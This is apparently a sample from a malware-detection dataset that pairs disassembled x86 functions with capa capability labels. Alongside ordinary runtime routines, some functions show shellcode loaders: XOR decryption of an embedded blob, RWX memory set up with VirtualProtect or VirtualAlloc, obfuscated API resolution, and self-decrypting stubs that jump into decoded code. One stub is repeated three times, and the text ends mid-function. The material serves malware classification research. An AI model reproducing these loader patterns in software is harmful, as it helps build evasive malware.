joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x42e054], 1
mov dword [0x42e050], 1
mov dword [0x42e04c], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x42e00c], eax
mov eax, dword [0x42e060]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x42e074]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x42e05c]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x42bdd4], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056

Function at 0x4014f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x64
call dbg.__main
movdqu xmm0, xmmword [str.0_vC9z_of___UKH_Qe_O_h_ivAds_TkI.YO_IaR_IaRdBf9craPJSF]
movups xmmword [ebp - 0x50], xmm0
movdqu xmm0, xmmword [0x42c070]
movups xmmword [ebp - 0x40], xmm0
movdqu xmm0, xmmword [0x42c080]
movups xmmword [ebp - 0x30], xmm0
movdqu xmm0, xmmword [0x42c090]
movups xmmword [ebp - 0x24], xmm0
lea eax, [ebp - 0x50]
mov dword [esp], eax
call sym._strlen
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0
jmp 0x40157a
mov eax, dword [ebp - 0xc]
add eax, 0x403020
movzx eax, byte [eax]
mov ecx, eax
mov eax, dword [ebp - 0xc]
cdq
idiv dword [ebp - 0x10]
mov eax, edx
movzx eax, byte [ebp + eax - 0x50]
xor eax, ecx
mov edx, eax
mov eax, dword [ebp - 0xc]
add eax, 0x403020
mov byte [eax], dl
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
cmp eax, 0x28d97
jbe 0x40154d
mov dword [esp], 0x28d98
call sym.operator_new___unsigned_int_
mov dword [ebp - 0x14], eax
mov dword [esp + 8], 0x28d98
mov dword [esp + 4], 0x403020
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._memcpy
lea eax, [ebp - 0x54]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x40
mov dword [esp + 4], 0x28d98
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0x14]
call eax
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret

Function at 0x401860
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x4018c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x42e068]
test esi, esi
jle 0x4019e0
mov eax, dword [0x42e06c]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x4018f4
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401977
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x4018e0
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x401a07
mov eax, dword [0x42e06c]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x42e06c]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x4019e7
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x401970
lea edx, [eax - 0x40]
and edx, 0xffffffbf
jne 0x401980
add dword [0x42e068], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x42e06c]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401970
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
lea esi, cs:[esi]
nop
xor esi, esi
jmp 0x4018fe
mov eax, dword [0x42e06c]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, cs:[esi]
nop

Function at 0x401f20
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x42e084
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x42e07c]
sub esp, 4
test ebx, ebx
je 0x401f75
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
mov esi, eax
sub esp, 4
call edi
test esi, esi
je 0x401f6e
test eax, eax
jne 0x401f6e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401f50
mov dword [esp], 0x42e084
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4022b0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x4022d5
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x4022e0
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x4022d5
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x402328
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x40231e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40232a
add ecx, 1
add eax, 0x28
cmp esi, ecx
jne 0x402310
xor eax, eax
pop ebx
pop esi
ret
Function at 0x4016e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x4016ef
pop dword [ebp - 0x1c]
mov eax, 0x28ba44df
add eax, 0xd785d210
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0xcd0c4191
add dword [ebp - 0x2c], 0x814603ba
mov dword [ebp - 0x28], 0x4a60746d
add dword [ebp - 0x28], 0xe7d2d7d8
mov dword [ebp - 0x24], 0xea93141
add dword [ebp - 0x24], 0x3da312ed
mov dword [ebp - 0x20], 0xdbaaefc4
sub dword [ebp - 0x20], 0xdbaaefc4
lea eax, [ebp - 0x2c]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x8a290b35
add dword [ebp - 0x2c], 0xea495e21
mov dword [ebp - 0x28], 0x486198b6
add dword [ebp - 0x28], 0xf90ac8bf
mov dword [ebp - 0x24], 0x769b5997
add dword [ebp - 0x24], 0xecd412d5
mov dword [ebp - 0x20], 0x172b5200
sub dword [ebp - 0x20], 0x172b5200
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0x9d9ef87a
sub eax, 0x9d5db83e
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x3baf1
push 0
call eax
mov ecx, 0x84a127c4
add ecx, 0x7b5f23f3
mov esi, eax
mov edi, 0xc9bcb7b9
sub edi, 0xc97af7b9
add edi, dword [ebp - 0x1c]
mov edx, 0x9fafb441
add edx, 0xbfa19e62
sub dword [ebp - 8], 0x794f13b5
mov ebx, dword [edi]
sub dword [ebp - 8], 0x9f675745
xor ebx, edx
mov dword [esi], ebx
mov dword [ebp - 0x18], 0x78d92e24
add esi, 4
add edi, 0x8eaaaf67
add edi, 0x7155509d
loop 0x40180c
add eax, 0x7bfc9ef
add eax, 0xf84157c0
xor ebx, ebx
add ebx, eax
add eax, 0x4a70fb8b
add eax, 0xb58f047a
mov ecx, 0xccc5562e
sub ecx, 0xcc85562e
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x410b90
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 4
mov esi, ecx
call main
pop ecx
xor ecx, ecx
mov dword [ebp - 4], eax
test eax, eax
je 0x410bac
mov dword [eax], ecx
jmp 0x410bae
mov eax, ecx
push ecx
push ecx
push esi
push 0x410c20
push ecx
push ecx
mov dword [esi + 0x10], eax
call dword [sym.imp.kernel32.dll_CreateThread]
mov ecx, dword [esi + 0x10]
pop esi
mov dword [ecx], eax
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401ed0
Capabilities:
Hash data using djb2

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x1c
xor eax, eax
test ecx, ecx
je 0x401fe8
test edx, edx
je 0x401fe8
mov ebp, dword [esp + 0x30]
test ebp, ebp
mov dword [esp + 4], ecx
je 0x401f1a
mov ecx, 0x1505
xor edi, edi
nop dword [eax]
movzx ebx, byte [edx + edi]
test ebx, ebx
je 0x401f21
mov esi, ecx
shl esi, 5
add esi, ecx
add esi, ebx
inc edi
mov ecx, esi
cmp ebp, edi
jne 0x401f00
jmp 0x401f23
mov esi, 0x1505
jmp 0x401f23
mov esi, ecx
mov ebp, dword [esp + 4]
mov ecx, dword [ebp + 0x20]
test ecx, ecx
je 0x401fe8
mov dword [esp + 8], edx
mov eax, ecx
xor eax, 0xfffffffe
mov dword [esp], ecx
mov ecx, dword [esp]
and ecx, 0xfffffffe
lea eax, [eax + ecx*2]
inc eax
mov ecx, dword [esp]
and eax, esi
mov dword [esp + 0x18], eax
lea eax, [ecx - 1]
mov dword [esp + 0x14], eax
mov eax, dword [ebp + 4]
mov dword [esp + 0x10], eax
xor ebx, ebx
jmp 0x401f7f
mov eax, ebx
xor eax, 1
and ebx, 1
lea ebx, [eax + ebx*2]
cmp ebx, ecx
jae 0x401fe6
mov eax, dword [esp + 0x18]
add eax, ebx
and eax, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
mov edi, dword [edx + eax*4]
cmp edi, 0xffffffff
je 0x401fe6
mov eax, dword [ebp + 8]
cmp dword [eax + edi*4], esi
jne 0x401f70
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + edi*4]
mov dword [esp + 0xc], eax
push eax
call fcn.004171f0
mov ecx, dword [esp + 4]
mov ebp, dword [esp + 8]
add esp, 4
cmp eax, dword [esp + 0x30]
jne 0x401f70
push dword [esp + 0x30]
push dword [esp + 0x10]
push dword [esp + 0x10]
call fcn.00417210
mov ecx, dword [esp + 0xc]
mov ebp, dword [esp + 0x10]
add esp, 0xc
test eax, eax
jne 0x401f70
mov eax, dword [ebp + 0x10]
mov eax, dword [eax + edi*4]
jmp 0x401fe8
xor eax, eax
add esp, 0x1c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x402440
Capabilities:
Hash data using djb2

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x1c
mov eax, 0xffffffff
test ecx, ecx
je 0x4025cb
mov esi, edx
test edx, edx
je 0x4025cb
mov dword [esp], ecx
cmp dword [esp + 0x30], 0
je 0x4025cb
push esi
call fcn.004171f0
add esp, 4
test eax, eax
je 0x40249a
mov ecx, 0x1505
xor edi, edi
movzx edx, byte [esi + edi]
test edx, edx
je 0x4024a1
mov ebp, ecx
shl ebp, 5
add ebp, ecx
add ebp, edx
inc edi
mov ecx, ebp
cmp eax, edi
jne 0x402480
jmp 0x4024a3
mov ebp, 0x1505
jmp 0x4024a3
mov ebp, ecx
mov dword [esp + 8], eax
mov ecx, dword [esp]
mov ebx, dword [ecx + 0x20]
test ebx, ebx
mov dword [esp + 4], esi
je 0x402549
mov eax, ebx
xor eax, 0xfffffffe
mov edx, ebx
and edx, 0xfffffffe
lea eax, [eax + edx*2]
inc eax
and eax, ebp
mov dword [esp + 0x14], eax
lea eax, [ebx - 1]
mov dword [esp + 0x10], eax
mov eax, dword [ecx + 4]
mov dword [esp + 0xc], eax
xor esi, esi
jmp 0x4024ef
mov eax, esi
xor eax, 1
and esi, 1
lea esi, [eax + esi*2]
cmp esi, ebx
jae 0x402549
mov eax, dword [esp + 0x14]
add eax, esi
and eax, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
mov edx, dword [edx + eax*4]
cmp edx, 0xffffffff
je 0x40254e
mov eax, dword [ecx + 8]
cmp dword [eax + edx*4], ebp
jne 0x4024e0
mov eax, dword [ecx + 0xc]
mov edi, dword [eax + edx*4]
push edi
call fcn.004171f0
mov ecx, dword [esp + 4]
add esp, 4
cmp eax, dword [esp + 8]
jne 0x4024e0
push dword [esp + 8]
push edi
push dword [esp + 0xc]
call fcn.00417210
mov ecx, dword [esp + 0xc]
add esp, 0xc
test eax, eax
jne 0x4024e0
mov eax, 0xffffffff
jmp 0x4025cb
mov eax, 0xffffffff
mov edi, dword [ecx + 0x18]
cmp edi, dword [ecx + 0x1c]
mov ebx, dword [esp + 0x30]
jb 0x402592
call fcn.004026c0
mov ecx, eax
mov eax, 0xffffffff
test ecx, ecx
mov esi, dword [esp + 4]
jne 0x4025cb
push esi
call fcn.004171f0
add esp, 4
mov edx, esi
lea esi, [esp + 0x18]
mov edi, dword [esp]
mov ecx, edi
push esi
push ebp
push eax
call fcn.004025e0
mov ecx, edi
add esp, 0xc
mov edi, dword [edi + 0x18]
mov esi, ecx
mov edx, dword [ecx + 0xc]
mov ecx, dword [esp + 4]
mov dword [edx + edi*4], ecx
mov ecx, dword [esi + 4]
mov edx, dword [esi + 0x18]
mov dword [ecx + eax*4], edx
mov ecx, dword [esi + 0x10]
mov edx, dword [esi + 0x18]
mov dword [ecx + edx*4], ebx
mov ecx, dword [esi + 0x14]
mov edx, dword [esi + 0x18]
mov dword [ecx + edx*4], eax
mov eax, dword [esi + 8]
mov ecx, dword [esi + 0x18]
mov dword [eax + ecx*4], ebp
inc dword [esi + 0x18]
mov eax, dword [esi]
mov dword [ebx], eax
xor eax, eax
add esp, 0x1c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x402da0
Capabilities:
Compute adler32 checksum
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x14
mov ebp, dword [esp + 0x2c]
test ebp, ebp
je 0x402f56
mov esi, dword [esp + 0x30]
mov ecx, dword [esp + 0x28]
movzx edi, cx
shr ecx, 0x10
test esi, esi
je 0x402f4f
mov edx, 0x5e6ea9af
mov eax, esi
mul edx
shr edx, 0xb
imul eax, edx, 0x15b0
mov edx, esi
sub edx, eax
mov eax, edx
jmp 0x402e31
add ebp, dword [esp + 0x10]
mov esi, dword [esp + 8]
mov eax, edi
mov edx, 0x80078071
mul edx
mov ebx, edx
shr ebx, 0xf
mov eax, ecx
mov edx, 0x80078071
mul edx
imul eax, ebx, 0xfff1
sub edi, eax
shr edx, 0xf
imul eax, edx, 0xfff1
sub ecx, eax
sub esi, dword [esp + 0xc]
mov eax, 0x15b0
je 0x402f4f
xor edx, edx
cmp eax, 8
mov dword [esp + 8], esi
jb 0x402eba
mov edx, eax
and edx, 0x1ff8
mov dword [esp], edx
mov edx, 7
mov ebx, eax
movzx eax, byte [ebp]
mov esi, edi
xor esi, eax
and edi, eax
movzx eax, byte [ebp + 1]
lea esi, [esi + edi*2]
movzx edi, byte [ebp + 2]
add ecx, esi
add eax, esi
add ecx, eax
mov esi, eax
and esi, edi
xor eax, edi
movzx edi, byte [ebp + 3]
lea eax, [eax + esi*2]
movzx esi, byte [ebp + 4]
add ecx, eax
add edi, eax
add ecx, edi
mov eax, edi
xor eax, esi
and edi, esi
lea eax, [eax + edi*2]
add ecx, eax
movzx esi, byte [ebp + 5]
add esi, eax
add ecx, esi
movzx eax, byte [ebp + 6]
add eax, esi
add ecx, eax
movzx edi, byte [ebp + 7]
add edi, eax
mov eax, ebx
add ecx, edi
add ebp, 8
add edx, 8
cmp edx, ebx
jb 0x402e50
mov esi, dword [esp + 8]
mov edx, dword [esp]
mov ebx, eax
sub ebx, edx
mov dword [esp + 0xc], eax
jbe 0x402df8
mov dword [esp], edx
not edx
add edx, eax
mov dword [esp + 4], edx
mov edx, eax
and edx, 3
mov dword [esp + 0x10], ebx
je 0x402f04
neg edx
xor eax, eax
mov ebx, ebp
nop word cs:[eax + eax]
movzx esi, byte [ebx]
add edi, esi
inc ebx
add ecx, edi
dec eax
cmp edx, eax
jne 0x402ef0
mov edx, dword [esp]
sub edx, eax
jmp 0x402f09
mov ebx, ebp
mov edx, dword [esp]
mov eax, dword [esp + 4]
cmp eax, 3
jb 0x402df0
mov eax, dword [esp + 0xc]
sub eax, edx
xor edx, edx
nop
movzx esi, byte [ebx + edx]
add esi, edi
add ecx, esi
movzx edi, byte [ebx + edx + 1]
add edi, esi
add ecx, edi
movzx esi, byte [ebx + edx + 2]
add esi, edi
add ecx, esi
movzx edi, byte [ebx + edx + 3]
add edi, esi
add ecx, edi
add edx, 4
cmp eax, edx
jne 0x402f20
jmp 0x402df0
shl ecx, 0x10
or ecx, edi
jmp 0x402f5b
mov ecx, 1
mov eax, ecx
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x416f20
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
push ebx
push edi
push esi
mov eax, dword [esp + 0x1c]
mov ebx, dword [esp + 0x18]
mov edi, dword [esp + 0x14]
mov edx, eax
xor edx, 0xfffffffc
mov ecx, eax
or ecx, 3
and ecx, edx
je 0x416f53
cmp ecx, 2
jne 0x416f63
shr eax, 1
mov ecx, eax
xchg esi, ebx
rep movsw word es:[edi], word [esi]
xchg esi, ebx
jmp 0x41707d
shr eax, 2
mov ecx, eax
xchg esi, ebx
rep movsd dword es:[edi], dword [esi]
xchg esi, ebx
jmp 0x41707d
test eax, eax
je 0x41707d
cmp eax, 8
jb 0x416fee
mov ecx, edi
sub ecx, ebx
cmp ecx, 0x20
jb 0x416ff6
xor ebp, ebp
cmp eax, 0x20
jb 0x416fbd
mov ebp, eax
and ebp, 0xffffffe0
xor ecx, ecx
nop word [eax + eax]
movups xmm0, xmmword [ebx + ecx]
movups xmm1, xmmword [ebx + ecx + 0x10]
movups xmmword [edi + ecx], xmm0
movups xmmword [edi + ecx + 0x10], xmm1
add ecx, 0x20
cmp ebp, ecx
jne 0x416f90
cmp ebp, eax
je 0x41707d
test al, 0x18
je 0x417086
mov edi, dword [esp + 0x14]
mov ecx, eax
and ecx, 0xfffffff8
lea edx, [ebx + ecx]
lea esi, [edi + ecx]
and eax, 7
nop dword [eax + eax]
movsd xmm0, qword [ebx + ebp]
movsd qword [edi + ebp], xmm0
add ebp, 8
cmp ecx, ebp
jne 0x416fd0
cmp ecx, dword [esp + 0x1c]
mov edi, eax
jne 0x416ffc
jmp 0x41707d
mov edx, ebx
mov esi, dword [esp + 0x14]
jmp 0x416ffa
mov edx, ebx
mov esi, edi
mov edi, eax
lea ebp, [edi - 1]
mov ebx, edi
and ebx, 7
je 0x417022
xor eax, eax
nop dword [eax + eax]
movzx ecx, byte [edx + eax]
mov byte [esi + eax], cl
inc eax
cmp ebx, eax
jne 0x417010
add edx, eax
add esi, eax
sub edi, eax
cmp ebp, 7
jb 0x41707d
xor ecx, ecx
nop dword [eax]
movzx eax, byte [edx + ecx]
mov byte [esi + ecx], al
movzx eax, byte [edx + ecx + 1]
mov byte [esi + ecx + 1], al
movzx eax, byte [edx + ecx + 2]
mov byte [esi + ecx + 2], al
movzx eax, byte [edx + ecx + 3]
mov byte [esi + ecx + 3], al
movzx eax, byte [edx + ecx + 4]
mov byte [esi + ecx + 4], al
movzx eax, byte [edx + ecx + 5]
mov byte [esi + ecx + 5], al
movzx eax, byte [edx + ecx + 6]
mov byte [esi + ecx + 6], al
movzx eax, byte [edx + ecx + 7]
mov byte [esi + ecx + 7], al
add ecx, 8
cmp edi, ecx
jne 0x417030
mov eax, dword [esp + 0x14]
pop esi
pop edi
pop ebx
pop ebp
ret
and eax, 0x1f
mov ecx, dword [esp + 0x14]
lea esi, [ecx + ebp]
add ebx, ebp
mov edx, ebx
jmp 0x416ffa
Function at 0x417d70
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x210
mov dword [esp + 8], ecx
mov edi, dword [esp + 0x224]
movzx edx, word [edi]
test dx, dx
je 0x417eb4
lea eax, [edi + 2]
xor ebx, ebx
mov ecx, 1
nop dword [eax + eax]
movzx esi, dx
xor edx, edx
cmp esi, 0x800
setb dl
xor edx, 3
cmp esi, 0x80
cmovb edx, ecx
add ebx, edx
movzx edx, word [eax]
add eax, 2
test dx, dx
jne 0x417da0
lea esi, [ebx + 1]
push esi
call fcn.0043b780
add esp, 4
mov ebp, eax
test ebx, ebx
jle 0x417ec2
add ebx, ebp
add esi, ebp
mov eax, ebp
mov edx, esi
mov dword [esp], esi
jmp 0x417e04
mov byte [eax], cl
mov esi, 1
add edi, 2
add eax, esi
cmp eax, ebx
jae 0x417ec4
movzx ecx, word [edi]
test cx, cx
je 0x417ec4
cmp cx, 0x7f
jbe 0x417df0
mov dword [esp + 4], edi
mov edi, eax
xor edi, edx
mov esi, eax
not esi
and esi, edx
add esi, esi
sub esi, edi
mov edx, esi
or edx, 0xfffffffe
and esi, 0xfffffffe
add edx, esi
inc edx
movzx esi, cx
mov dword [esp + 0xc], esi
cmp esi, 0x7ff
ja 0x417e70
cmp edx, 2
jb 0x417e70
mov edx, ecx
shr edx, 6
add dl, 0xc0
mov byte [eax], dl
mov edx, ecx
not edx
or edx, 0x3f
add edx, ecx
add dl, 0x81
mov byte [eax + 1], dl
mov esi, 2
mov edx, dword [esp]
mov edi, dword [esp + 4]
jmp 0x417df7
xor esi, esi
cmp edx, 3
mov edx, dword [esp]
mov edi, dword [esp + 4]
jb 0x417df7
mov esi, dword [esp + 0xc]
mov edx, esi
shr edx, 0xc
or dl, 0xe0
mov byte [eax], dl
shr esi, 6
mov edx, esi
and dl, 0x3f
or dl, 0x80
mov byte [eax + 1], dl
mov edx, dword [esp]
and cl, 0x3f
or cl, 0x80
mov byte [eax + 2], cl
mov esi, 3
jmp 0x417df7
push 1
call fcn.0043b780
add esp, 4
mov ebp, eax
jmp 0x417ec4
mov eax, ebp
mov edi, dword [esp + 0x22c]
mov edx, dword [esp + 0x228]
mov byte [eax], 0
xor ecx, ecx
jmp 0x417ee7
mov eax, ebx
mov byte [esp + ecx + 0x10], al
inc ecx
movzx ebx, byte [ebp + ecx]
mov al, 0x2f
cmp ebx, 0x5c
je 0x417ee2
test ebx, ebx
jne 0x417ee0
mov byte [esp + ecx + 0x10], 0
lea eax, [esp + 0x10]
push 0
push 0
push 0
mov ecx, dword [esp + 0x14]
push dword [ecx + 8]
add ecx, 0x10
push 0
push 0
push edi
push edx
push eax
push ecx
call fcn.0040e750
add esp, 0x28
test eax, eax
setne al
add esp, 0x210
pop esi
pop edi
pop ebx
pop ebp
ret 0xc
Function at 0x405c83
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, 0x4345c0
call fcn.004339e0
sub esp, 0xc
push ebx
push esi
push edi
mov edi, ecx
call fcn.00407553
mov esi, dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov ebx, eax
cmp ebx, 1
je 0x405caf
push edi
call esi
cmp eax, 0xffffffff
jne 0x405cf1
test ebx, ebx
je 0x405cee
lea ecx, [ebp - 0x18]
call fcn.004028e9
and dword [ebp - 4], 0
cmp ebx, 1
setne al
push eax
lea edx, [ebp - 0x18]
mov ecx, edi
call fcn.0040765c
test al, al
push dword [ebp - 0x18]
je 0x405ce8
call esi
mov esi, eax
push dword [ebp - 0x18]
call fcn.00401abd
pop ecx
mov eax, esi
jmp 0x405cf1
call fcn.00401abd
pop ecx
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x406306
Capabilities:
Get disk information

Disassembly:
mov eax, 0x434664
call fcn.004339e0
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x18], ecx
call fcn.0041c900
mov edi, dword [sym.imp.kernel32.dll_GetLogicalDriveStringsW]
push 0
push 0
call edi
mov ebx, eax
test ebx, ebx
mov dword [ebp - 0x14], ebx
je 0x4063d4
mov eax, SysReAllocString
cmp ebx, eax
ja 0x406342
mov eax, ebx
add eax, eax
push eax
call fcn.004066d0
mov esi, eax
pop ecx
mov dword [ebp - 0x20], esi
and dword [ebp - 4], 0
push esi
push ebx
call edi
mov ebx, eax
xor edi, edi
cmp ebx, edi
mov dword [ebp - 0x10], ebx
je 0x4063cd
cmp ebx, dword [ebp - 0x14]
ja 0x4063cd
lea ecx, [ebp - 0x2c]
call fcn.004028e9
test ebx, ebx
mov byte [ebp - 4], 1
mov dword [ebp - 0x14], edi
jbe 0x4063b5
push 2
xor eax, eax
pop ebx
cmp word [esi + ebx - 2], 0
jne 0x4063aa
add eax, esi
lea ecx, [ebp - 0x2c]
push eax
call fcn.004066d0
mov ecx, dword [ebp - 0x18]
lea eax, [edi + 1]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x2c]
push eax
mov dword [ebp - 0x1c], ebx
call fcn.0040150c
mov eax, ebx
inc edi
inc ebx
inc ebx
cmp edi, dword [ebp - 0x10]
jb 0x406380
mov ebx, dword [ebp - 0x10]
push dword [ebp - 0x2c]
call fcn.00401abd
push esi
call fcn.00401abd
cmp dword [ebp - 0x14], ebx
pop ecx
pop ecx
sete al
jmp 0x4063d6
push esi
call fcn.00401abd
pop ecx
xor al, al
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x4066d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x4066df
pop dword [ebp - 0x24]
mov eax, 0xecb41985
add eax, 0x138c4d5a
sub dword [ebp - 0x24], eax
push 0x40
push 0x1000
push 0x3e082
push 0
mov eax, 0xdb84061e
sub eax, 0xdb4085ee
